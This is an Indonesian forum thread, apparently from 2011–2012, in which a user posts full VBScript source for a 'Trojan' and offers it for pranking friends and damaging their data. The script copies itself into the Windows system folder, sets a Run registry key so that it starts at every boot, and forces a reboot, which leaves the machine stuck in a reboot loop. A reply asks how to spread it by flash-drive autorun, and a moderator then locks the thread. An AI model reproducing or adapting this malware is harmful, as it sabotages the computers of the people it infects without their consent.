AgoessNaruto Robot Forum Bot
Join Date: 16/05/2009 Lokasi: AgoessNaruto Office Comments: Bot's for help you in Forum AgoessNaruto
| |
Uchiha EdwinJounin Elite
Posting : 377 Join date : 21.08.11 Age : 48 Lokasi : Kediri
Databook SayaWhatsApp/Handphone Number: PIN BBM/LINE ID: Kontak Lain:
| #1Subyek: CARA MEMBUAT VIRUS Trojan.vbs DENGAN NOTEPAD 12/12/2011, 8:00 pm | |
| Bagi2 ilmu nih sob.. buat kamu2 yang pengen isengin temen... n sekalian pengen rusak data2nya. ni ada cra gampang buat Virus dengan notepad.
*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan) jika tidak biarkan tetap dalam file exstensi.txt exapels: Uchiha_trojanHorse.VBS
Copy semua source di bawah ini:
rem - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder(1)
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
sub createRegKey(regKey,regVal) set regEdit = CreateObject("WScript.Shell") regEdit.RegWrite regKey,regVal end sub
set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs") generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2) procreateCopy.write fixedCode procreateCopy.close
rebootSystem()
function setFile() fileData="rem - ^dlRB^ by D.L." &vbcrlf& _ "strComputer = ^.^ " &vbcrlf& _ "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _ "& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _ "Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _ "(^Select * from Win32_OperatingSystem^)" &vbcrlf& _ "For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _ "ObjOperatingSystem.Reboot()" &vbcrlf& _ "Next" end function
function rebootSystem() strComputer = "."
Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot() Next end function |
|
AgoessNaruto Robot Forum Bot
Join Date: 16/05/2009 Lokasi: AgoessNaruto Office Comments: Bot's for help you in Forum AgoessNaruto
| |
Adjie WisanggeniWarga Biasa
Posting : 1 Join date : 13.07.12 Age : 29 Lokasi : bantul yogyakarta indonesia
| #2Subyek: Re: CARA MEMBUAT VIRUS Trojan.vbs DENGAN NOTEPAD 13/7/2012, 8:45 am | |
| kalau mau mbuat auto play / open gmana? jadi cuma colok flasdisk langsung ngopi sendiri ni script...n njalan kan sendiri setelah direbot...mohon penjelasanya gan |
|
AgoessNaruto Robot Forum Bot
Join Date: 16/05/2009 Lokasi: AgoessNaruto Office Comments: Bot's for help you in Forum AgoessNaruto
| |
G5Great Flame Commandment
Posting : 1817 Join date : 22.08.11 Lokasi : New World
Databook SayaWhatsApp/Handphone Number: PIN BBM/LINE ID: Kontak Lain:
| #3Subyek: Re: CARA MEMBUAT VIRUS Trojan.vbs DENGAN NOTEPAD 14/7/2012, 9:13 am | |
| Thread ini saya kunci. jika mau tanya alasannya silahkan PM |
|
AgoessNaruto Robot Forum Bot
Join Date: 16/05/2009 Lokasi: AgoessNaruto Office Comments: Bot's for help you in Forum AgoessNaruto
| |
Sponsored content
| #4Subyek: Re: CARA MEMBUAT VIRUS Trojan.vbs DENGAN NOTEPAD | |
| |
|